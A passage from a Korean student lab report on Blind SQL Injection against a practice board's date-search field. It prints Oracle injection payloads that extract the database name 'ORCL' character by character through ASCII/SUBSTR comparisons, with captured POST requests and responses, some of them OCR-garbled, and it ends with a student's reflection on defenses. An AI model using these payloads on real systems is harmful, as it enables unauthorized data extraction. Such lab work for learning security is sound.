33                 로그인 안하고 보이는 텍스트 1
34               </td>
35             </tr>
36           </table>
37         </td>
38       </tr>
39     </table>
40   </body>
41 </html>
```

5-2. 현재 DB명의 2번째 글자

', 'YYYYMMDD') AND ASCII(SUBSTR(SYS DATABASE_NAME, 2, 1)) >= 82 --

', 'YYYYMMDD') AND ASCII(SUBSTR(SYS DATABASE_NAME, 2, 1)) >= 83 --

: 2번째 글자의 ASCII 코드가 82 이상일 때는 검색에 성공하고, 83 이상일 땐 검색에 실패하였는데, 현재 DB명의 2번째 ASCII 코드가 82라는 뜻으로 이를 문자로 변환하면 'R'임

5-3. 현재 DB명의 3번째 글자

', 'YYYYMMDD') AND ASCII(SUBSTR(SYS DATABASE_NAME, 3, 1)) >= 67 --

', 'YYYYMMDD') AND ASCII(SUBSTR(SYS DATABASE_NAME, 3, 1)) >= 68 --

: 3번째 글자의 ASCII 코드가 67 이상일 때는 검색에 성공하고, 68 이상일 땐 검색에

실패하였는데, 현재 DB명의 3번째 ASCII 코드가 67이라는 뜻으로 이를 문자로 변환하면 'C'임

```
9 Cookie: JSESSIONID=9CF4050B0D40A31089338D0F2013B
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 188
12
13
14 where 1=SUBJECT&searchType=ALL&searchText=&aDate=20150101&eDate=20251231' , 'YYYYMMDD') AND
15 ASCII(SUBSTR(SYS_DATABASE_NAME, 3, 1)) >= 67--
```

```
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 136
13
14 echo!<?SUBJECT&searchType=ALL&searchText=1&sDate=20150101&eDate=20251231'.'YYYYMMDD") AND
15 ASCII(SUBSTR(SYS_DATABASE_NAME, 3, 1)) >= 65-->
16
17
18 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
19 </meta>
20 <body>
21
22 <table width="800" height="700" border="1" cellpadding="2" cellspacing="0" align="center">
23 <tr>
24 <t>
25
26 <!-- left -->
27 <td rowspan="2" width="200" height="700">
28
29 <table>
30 <tr>
31 <td width="200" height="100">
32 <center>
33 
35 </center>
36 </td>
37 </tr>
38 <tr>
39 <td width="200" height="300">
40 로그인 안하고 보이는 퍽스트 1
41 </td>
42 </tr>
```

5-4. 현재 DB명의 4번째 글자

```
'YYYYMMDD') AND ASCII(SUBSTR(SYS DATABASE_NAME, 4, 1)) >= 76 --
```

```
'YYYYMMDD') AND ASCII(SUBSTR(SYS DATABASE_NAME, 4, 1)) >= 77 --
```

: 4번째 글자의 ASCII 코드가 76 이상일 때는 검색에 성공하고, 77 이상일 땐 검색에

실패하였는데, 현재 DB명의 4번째 ASCII 코드가 76이라는 뜻으로 이를 문자로 변환하면 'L'임

```
1 Content-Type: application/x-www-form-urlencoded
2 Content-Length: 136
3
4 check1=SUBJECT&searchType=ALL&searchText=1&aDate=20150101&eDate=20251231 '"YYYYMMDD"' AND
  ASCII(SUBSTR(SYS DATABASE_NAME, 4, 1)) >= 76--
```

```
121
122
123
124
```

```
1 Content-Type: application/x-www-form-urlencoded
2 Content-Length: 136
3
4 check1=SUBJECT&searchType=ALL&searchText=1&aDate=20150101&eDate=20251231 '"YYYYMMDD"' AND
  ASCII(SUBSTR(SYS DATABASE_NAME, 4, 1)) >= 77--
```

```
14 <html>
15   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
16   <body>
17     <table width="800" height="700" border="1" cellpadding="2" cellspacing="0" align="center">
18       <tr>
19         <td colspan="2" style="text-align: center;>
20           <!-- left -->
21           <td rowspan="2" width="200" height="700">
22             <table>
23               <tr>
24                 <td width="200" height="100">
25                   <center>
26                     
27                   </center>
28                 </td>
29               </tr>
30             <tr>
31               <td width="200" height="300">
32                 로그인 안하고 보이는 텍스트 1
33               </td>
34             </tr>
35           </table>
36         </td>
37       </tr>
38     </table>
39   </body>
40 
```

② ⚙️ ← → Search 0 highlights ② ⚙️ ← → internet 0 highlights

Step 6. 최종 확인

```
'YYYYMMDD') AND SYS DATABASE_NAME = 'ORCL' --
```

: 현재 DB명이 ORCL이 맞는지 확인하는 쿼리를 넣고 검색해본 결과, 게시자가 internet인

결과가 1개 나오는 것으로 보아 현재 DB명은 ORCL이 맞음을 알 수 있음

```
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 118
13
14 check1=SUBJECT&searchType=ALL&searchText=1&aDate=20150101&eDate=20251231 '"YYYYMMDD"' and
  SYS DATABASE_NAME = 'ORCL'--
```

```
121
122
123
124
```

<참고>

deftkang의 IT 블로그 - [Oracle] 날짜 검색방법(자료형변환 Between사용방법) 및 주의사항
(<https://deftkang.tistory.com/86>)

(다음 페이지에 이어서)

성명	프로젝트 후 소감
김가람	<p>GET 방식과 POST 방식의 차이가 무엇인지 몰랐는데, 이번 실습을 통해 그 차이를 이해할 수 있었다. GET 방식은 URL에 데이터가 포함되므로 특수문자 사용이 까다롭지만, POST 방식은 본문을 통해 데이터를 전달하므로 보다 자유롭다는 점을 알게 되었다.</p> <p>또한 로그인 창에서 실습할 때는 아이디와 비밀번호를 모르니 회원가입을 한 후 Blind SQL Injection을 해야 하는 것, 날짜 검색란에서는 문자열을 DATE 형식으로 바꿔주어야 하는 것 등 단순히 공격 기법을 익히기만 하는 것이 아니라 개발자의 입장에서 이를 예방하기 위해 어떤 방식으로 검증해야 하는지, 필터링을 어떻게 적용해야 하는지 등을 고려해야 한다는 점이 어렵게 다가왔다.</p> <p>그렇기에 직접 코드를 작성해보면서 보안을 어떻게 적용할 수 있는지, 어느 부분에서 취약점이 발생할 수 있는지 등을 고민해보며 이러한 능력을 기르기 위해 노력해야겠다는 생각이 들었다.</p>